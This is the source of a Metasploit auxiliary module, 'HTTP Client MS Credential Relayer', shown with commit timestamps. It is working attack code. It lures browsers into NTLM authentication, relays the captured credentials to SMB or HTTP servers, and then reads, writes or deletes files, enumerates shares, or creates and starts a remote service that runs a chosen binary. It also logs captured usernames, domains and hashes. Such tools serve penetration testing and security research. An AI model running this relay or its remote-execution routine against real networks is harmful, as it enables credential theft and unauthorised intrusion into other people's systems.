metasploit-framework/modules/auxiliary/server/http_ntlmrelay.rb

675 lines
20 KiB
Ruby
Raw Normal View History

2012-07-10 02:56:24 +00:00
##
# $Id:$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/message'
require 'rex/proto/ntlm/crypt'
require 'rex/exceptions'
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
# Aliases for common classes
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
NDR = Rex::Encoder::NDR
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Client MS Credential Relayer',
'Version' => '$Revision:$',
'Description' => %q{
This module relays negotiated NTLM Credentials from an HTTP server to multiple
protocols. Currently, this module supports relaying to SMB and HTTP.
2012-07-10 02:56:24 +00:00
Complicated custom attacks requiring multiple requests that depend on each
other can be written using the SYNC* options. For example, a CSRF-style
attack might first set an HTTP_GET request with a unique SNYNCID and set
an HTTP_POST request with a SYNCFILE, which contains logic to look
through the database and parse out important values, such as the CSRF token
or authentication cookies, setting these as configuration options, and finally
create a web page with iframe elements pointing at the HTTP_GET and HTTP_POSTs.
2012-07-10 02:56:24 +00:00
},
'Author' =>
[
'Rich Lundeen <richard.lundeen[at]gmail.com>',
],
'Version' => '$Revision:$',
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'WebServer' ]
],
'PassiveActions' =>
[
'WebServer'
],
'DefaultAction' => 'WebServer'))
register_options([
OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
2012-08-21 02:45:20 +00:00
OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET",
[ "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM",
"SMB_LS", "SMB_PWN" ]]),
2012-07-10 02:56:24 +00:00
OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]),
OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]),
OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]),
OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]),
OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]),
], self.class)
register_advanced_options([
OptPath.new('RESPPAGE', [false,
'The file used for the server response. (Image extensions matter)', nil]),
OptPath.new('HTTP_HEADERFILE', [false,
'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]),
OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM',
'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
], self.class)
deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword',
'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
end
# Handles the initial requests waiting for the browser to try NTLM auth
def on_request_uri(cli, request)
datastore['REQUEST_IP'] = cli.peerhost
cli.keepalive = true;
# If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization'])
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM"
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
cli.send_response(response)
return false
end
method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is goign on.
# Regardless, this won't get what we want, 404 them
if(method != "NTLM")
print_status("Unrecognized Authorization header, responding with 404")
send_not_found(cli)
return false
end
print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
if (datastore['SYNCFILE'] != nil)
sync_options()
end
handle_relay(cli,hash)
end
def run
parse_args()
exploit()
end
#The call to handle_relay should be a victim HTTP type 1 request
def handle_relay(cli_sock, hash)
print_status("Beginning NTLM Relay...")
message = Rex::Text.decode_base64(hash)
2012-08-21 02:45:20 +00:00
#get type of message, which will be HTTP, SMB, ...
2012-07-10 02:56:24 +00:00
protocol = datastore['RTYPE'].split('_')[0]
if(message[8,1] != "\x03")
#Relay NTLMSSP_NETOTIATE from client to server (type 1)
case protocol
when 'HTTP'
resp, ser_sock = http_relay_toserver(hash)
if resp.headers["WWW-Authenticate"]
t2hash = resp.headers["WWW-Authenticate"].split(" ")[1]
else
print_error "#{rhost} is not requesting authentication."
cli_sock.close
ser_sock.close
return false
end
2012-07-10 02:56:24 +00:00
when 'SMB'
t2hash, ser_sock = smb_relay_toservert1(hash)
end
#goes along with above, resp is now just the hash
client_respheader = "NTLM " << t2hash
#Relay NTLMSSP_CHALLENGE from server to client (type 2)
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = client_respheader
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
cli_sock.send_response(response)
#Get the type 3 hash from the client and relay to the server
cli_type3Data = cli_sock.get_once(-1, 5)
begin
cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1]
cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0]
rescue ::NoMethodError
print_error("Error: Type3 hash not relayed.")
cli_sock.close()
return false
end
case protocol
when 'HTTP'
resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock)
when 'SMB'
ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock)
#perform authenticated action
action = datastore['RTYPE'].split('_')[1]
case action
when 'GET'
resp = smb_get(ser_sock)
when 'PUT'
resp = smb_put(ser_sock)
when 'RM'
resp = smb_rm(ser_sock)
when 'ENUM'
resp = smb_enum(ser_sock)
when 'LS'
resp = smb_ls(ser_sock)
when 'PWN'
resp = smb_pwn(ser_sock, cli_sock)
end
end
report_info(resp, cli_type3Hash)
#close the client socket
response = set_cli_200resp()
cli_sock.send_response(response)
cli_sock.close()
if protocol == 'HTTP'
ser_sock.close()
end
return
else
print_error("Error: Bad NTLM sent from victim browser")
cli_sock.close()
return false
end
end
def parse_args()
# Consolidate the PUTDATA and FILEPUTDATA options into FINALPUTDATA
if datastore['PUTDATA'] != nil and datastore['FILEPUTDATA'] != nil
print_error("PUTDATA and FILEPUTDATA cannot both contain data")
raise ArgumentError
elsif datastore['PUTDATA'] != nil
datastore['FINALPUTDATA'] = datastore['PUTDATA']
elsif datastore['FILEPUTDATA'] != nil
f = File.open(datastore['FILEPUTDATA'], "rb")
datastore['FINALPUTDATA'] = f.read
f.close
end
if (not framework.db.active) and (not datastore['VERBOSE'])
print_error("No database configured and verbose disabled, info may be lost. Continuing")
end
end
# sync_options dynamically changes the arguments of a running attack
# this is useful for multi staged relay attacks
# ideally I would use a resource file but it's not easily exposed, and this is simpler
def sync_options()
print_status("Dynamically eval()'ing local ruby file: #{datastore['SYNCFILE']}")
2012-07-10 02:56:24 +00:00
# previous request might create the file, so error thrown at runtime
if not ::File.readable?(datastore['SYNCFILE'])
print_error("SYNCFILE unreadable, aborting")
raise ArgumentError
end
data = ::File.read(datastore['SYNCFILE'])
eval(data) # WARNING: This can be insanely insecure!
2012-07-10 02:56:24 +00:00
end
# relay creds to server and perform any HTTP specific attacks
def http_relay_toserver(hash, ser_sock = nil)
timeout = 20
type3 = (ser_sock == nil ? false : true)
method = datastore['RTYPE'].split('_')[1]
theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
"Connection: Keep-Alive\r\n" )
2012-07-10 02:56:24 +00:00
if (method == 'POST')
2012-07-23 00:28:17 +00:00
theaders << 'Content-Length: ' <<
(datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n"
2012-07-10 02:56:24 +00:00
end
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
2012-07-10 02:56:24 +00:00
if datastore['HTTP_HEADERFILE'] != nil
print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
2012-07-10 02:56:24 +00:00
#previous request might create the file, so error thrown at runtime
if not ::File.readable?(datastore['HTTP_HEADERFILE'])
print_error("HTTP_HEADERFILE unreadable, aborting")
2012-07-10 02:56:24 +00:00
raise ArgumentError
end
#read file line by line to deal with any dos/unix ending ambiguity
File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
next if header.strip == ''
theaders << (header) << "\r\n"
2012-07-10 02:56:24 +00:00
end
end
opts = {
'uri' => datastore['RURIPATH'],
'method' => method,
'version' => '1.1',
}
if (datastore['FINALPUTDATA'] != nil)
#we need to get rid of an extra "\r\n"
theaders = theaders[0..-3]
2012-07-10 02:56:24 +00:00
opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n"
end
opts['SSL'] = true if datastore["RSSL"]
opts['raw_headers'] = theaders
2012-07-10 02:56:24 +00:00
ser_sock = connect(opts) if !type3
r = ser_sock.request_raw(opts)
resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
# Type3 processing
if type3
#check if auth was successful
if resp.code == 401
print_error("Auth not successful, returned a 401")
else
print_status("Auth successful, saving server response in database")
end
vprint_status(resp)
2012-07-10 02:56:24 +00:00
end
return [resp, ser_sock]
end
#relay ntlm type1 message for SMB
def smb_relay_toservert1(hash)
rsock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'Timeout' => 3,
'Context' =>
{
'Msf' => framework,
'MsfExploit'=> self,
}
)
if (not rsock)
print_error("Could not connect to target host (#{target_host})")
return
end
ser_sock = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
if (datastore['RPORT'] == '139')
ser_sock.client.session_request()
end
blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201)
ser_sock.client.negotiate(true)
ser_sock.client.require_signing = false
resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false)
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
2012-07-10 02:56:24 +00:00
#Save the user_ID for future requests
ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
begin
#lazy ntlmsspblob extraction
ntlmsspblob = 'NTLMSSP' <<
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
"\x00\x00"
rescue ::Exception => e
print_error("Type 2 response not read properly from server")
raise e
end
ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
return [ntlmsspencodedblob, ser_sock]
end
#relay ntlm type3 SMB message
def smb_relay_toservert3(hash, ser_sock)
arg = get_hash_info(hash)
dhash = Rex::Text.decode_base64(hash)
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
2012-07-10 02:56:24 +00:00
blob =
"\xa1" + Rex::Proto::NTLM::Utils.asn1encode(
"\x30" + Rex::Proto::NTLM::Utils.asn1encode(
"\xa2" + Rex::Proto::NTLM::Utils.asn1encode(
"\x04" + Rex::Proto::NTLM::Utils.asn1encode(
dhash
)
)
)
)
resp = ser_sock.client.session_setup_with_ntlmssp_blob(
blob,
false,
2012-07-10 02:56:24 +00:00
ser_sock.client.auth_user_id
)
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
2012-07-10 02:56:24 +00:00
#check if auth was successful
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
print_status("SMB auth relay succeeded")
else
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
failure.word_count = resp['Payload']['SMB'].v['WordCount']
failure.command = resp['Payload']['SMB'].v['Command']
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
raise failure
end
return ser_sock
end
#gets a specified file from the drive
def smb_get(ser_sock)
share, path = datastore['RURIPATH'].split('\\', 2)
path = path
ser_sock.client.tree_connect(share)
ser_sock.client.open("\\" << path, 0x1)
resp = ser_sock.client.read()
print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
vprint_status("----Contents----")
vprint_status(resp["Payload"].v["Payload"])
vprint_status("----End Contents----")
2012-07-10 02:56:24 +00:00
ser_sock.client.close()
return resp["Payload"].v["Payload"]
end
#puts a specified file
def smb_put(ser_sock)
share, path = datastore['RURIPATH'].split('\\', 2)
path = path
ser_sock.client.tree_connect(share)
fd = ser_sock.open("\\#{path}", 'rwct')
fd << datastore['FINALPUTDATA']
fd.close
2012-07-10 02:56:24 +00:00
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
print_status(logdata)
return logdata
end
#deletes a file from a share
def smb_rm(ser_sock)
share, path = datastore['RURIPATH'].split('\\', 2)
path = path
ser_sock.client.tree_connect(share)
ser_sock.client.delete('\\' << path)
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} deleted"
print_status(logdata)
return logdata
end
#smb share enumerator, overly simplified, just tries connecting to configured shares
#This could be improved by using techniques from SMB_ENUMSHARES
def smb_enum(ser_sock)
shares = []
datastore["SMB_SHARES"].split(",").each do |share_name|
begin
ser_sock.client.tree_connect(share_name)
shares << share_name
rescue
next
end
end
print_status("Shares enumerated #{datastore["RHOST"]} #{shares.to_s()}")
return shares
end
#smb list directory
def smb_ls(ser_sock)
share, path = datastore['RURIPATH'].split('\\', 2)
ser_sock.client.tree_connect(share)
files = ser_sock.client.find_first(path << "\\*")
print_status(
"Listed #{files.length} files from #{datastore["RHOST"]}\\#{datastore["RURIPATH"]}"
)
if datastore["VERBOSE"]
files.each {|filename| print_status(" #{filename[0]}")}
end
return files
end
#start a service. This methos copies a lot of logic/code from psexec (and smb_relay)
def smb_pwn(ser_sock, cli_sock)
#filename is a little finicky, it needs to be in a format like
#"%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe
filename = datastore['RURIPATH']
ser_sock.connect("IPC$")
opts = {
'Msf' => framework,
'MsfExploit' => self,
'smb_pipeio' => 'rw',
'smb_client' => ser_sock
}
uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', cli_sock.peerhost, ["\\svcctl"])
dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)
print_status("Obtraining a service manager handle...")
stubdata =
NDR.uwstring("\\\\#{datastore["RHOST"]}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
print_status("Creating a new service")
servicename = Rex::Text::rand_text_alpha(8)
displayname = Rex::Text::rand_text_alpha(rand(32)+1)
svc_handle = nil
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring(filename) + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
print_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
return
end
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
end
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
ser_sock.disconnect("IPC$")
end
#print status, and add to the info database
def report_info(resp, type3_hash)
data = get_hash_info(type3_hash)
#no need to generically always grab everything, but grab common config options
#and the response, some may be set to nil and that's fine
data[:protocol] = datastore['RTYPE']
data[:RHOST] = datastore['RHOST']
data[:RPORT] = datastore['RPORT']
data[:RURI] = datastore['RURIPATH']
data[:SYNCID] = datastore['SYNCID']
data[:Response] = resp
report_note(
:host => data[:ip],
:type => 'ntlm_relay',
:update => 'unique_data',
:data => data
)
end
#mostly taken from http_ntlm module handle_auth function
def get_hash_info(type3_hash)
#authorization string is base64 encoded message
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash)
nt_len = ntlm_hash.length
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => lm_hash,
:nt_hash => ntlm_hash
}
if arg[:lm_hash][16,32] == '0' * 32
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
#if the length of the ntlm response is not 24 then it will be bigger and represent
#a ntlmv2 response
elsif nt_len > 48 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => lm_hash[0, 32],
:lm_cli_challenge => lm_hash[32, 16],
:nt_hash => ntlm_hash[0, 32],
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
}
elsif nt_len == 0
print_status("Empty hash from #{host} captured, ignoring ... ")
else
print_status("Unknow hash type from #{host}, ignoring ...")
end
arg[:host] = host
arg[:user] = user
arg[:domain] = domain
return arg
end
#function allowing some basic/common configuration in responses
def set_cli_200resp()
response = create_response(200, "OK")
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
if (datastore['RESPPAGE'] != nil)
begin
respfile = File.open(datastore['RESPPAGE'], "rb")
response.body = respfile.read
respfile.close
type = datastore['RESPPAGE'].split('.')[-1].downcase
#images can be especially useful (e.g. in email signatures)
case type
when 'png', 'gif', 'jpg', 'jpeg'
print_status('setting content type to image')
2012-07-10 02:56:24 +00:00
response.headers['Content-Type'] = "image/" << type
end
rescue
print_error("Problem processing respfile. Continuing...")
end
end
if (response.body.empty?)
2012-07-10 02:56:24 +00:00
response.body = "<HTML><HEAD><TITLE>My Page</TITLE></HEAD></HTML>"
end
return response
end
end